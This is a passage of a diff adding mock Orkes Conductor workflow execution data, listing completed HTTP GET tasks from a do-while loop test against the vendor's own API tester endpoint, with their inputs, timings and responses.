subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__2", + retryCount: 0, + seq: 53, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413859823, + startTime: 1713413859916, + endTime: 1713413859927, + updateTime: 1713413859916, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "982f48ed-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__3", + retryCount: 0, + seq: 58, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860156, + startTime: 1713413860248, + endTime: 1713413860259, + updateTime: 1713413860248, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "986218c2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__4", + retryCount: 0, + seq: 63, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860487, + startTime: 1713413860580, + endTime: 1713413860592, + updateTime: 1713413860580, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98949a77-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8155, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "tniyursobyqwmcgnfxcj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__5", + retryCount: 0, + seq: 68, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860819, + startTime: 1713413860914, + endTime: 1713413860925, + updateTime: 1713413860914, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98c7433c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5878, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "bksldazxfxhyoyefvrxf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__6", + retryCount: 0, + seq: 71, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860970, + startTime: 1713413861025, + endTime: 1713413861036, + updateTime: 1713413861025, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98de269f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 55, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__7", + retryCount: 0, + seq: 74, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861082, + startTime: 1713413861136, + endTime: 1713413861147, + updateTime: 1713413861136, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ef64b2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8433, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "nwltborbttslioxepwhe", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 54, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__8", + retryCount: 0, + seq: 79, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861375, + startTime: 1713413861467, + endTime: 1713413861478, + updateTime: 1713413861467, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "991c1a07-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 242, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "idkvujpflbawjvbtcqol", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__9", + retryCount: 0, + seq: 84, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861704, + startTime: 1713413861798, + endTime: 1713413861810, + updateTime: 1713413861798, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "994e4d9c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4359, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "lmbrmrnefvkwwwbmvolm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__10", + retryCount: 0, + seq: 89, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413862045, + startTime: 1713413862132, + endTime: 1713413862145, + updateTime: 1713413862132, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "998255f1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 87, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_5: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__10", + retryCount: 0, + seq: 87, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861845, + startTime: 1713413861911, + endTime: 1713413861920, + updateTime: 1713413861911, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__2", + retryCount: 0, + seq: 51, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413859632, + startTime: 1713413859695, + endTime: 1713413859706, + updateTime: 1713413859695, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "981223fb-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 154, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "obdruesgtvezidzuenhu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 63, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__3", + retryCount: 0, + seq: 56, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413859962, + startTime: 1713413860027, + endTime: 1713413860038, + updateTime: 1713413860027, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98447ea0-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9931, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ktrbhjusvnttizwmopxg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 65, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__4", + retryCount: 0, + seq: 61, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413860290, + startTime: 1713413860358, + endTime: 1713413860370, + updateTime: 1713413860358, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98768b25-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5254, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "fqlewtggkleyvghxoyqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 68, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__5", + retryCount: 0, + seq: 66, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413860624, + startTime: 1713413860692, + endTime: 1713413860703, + updateTime: 1713413860692, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a9820a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2932, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "djokkjixbuwxlsstoaab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + 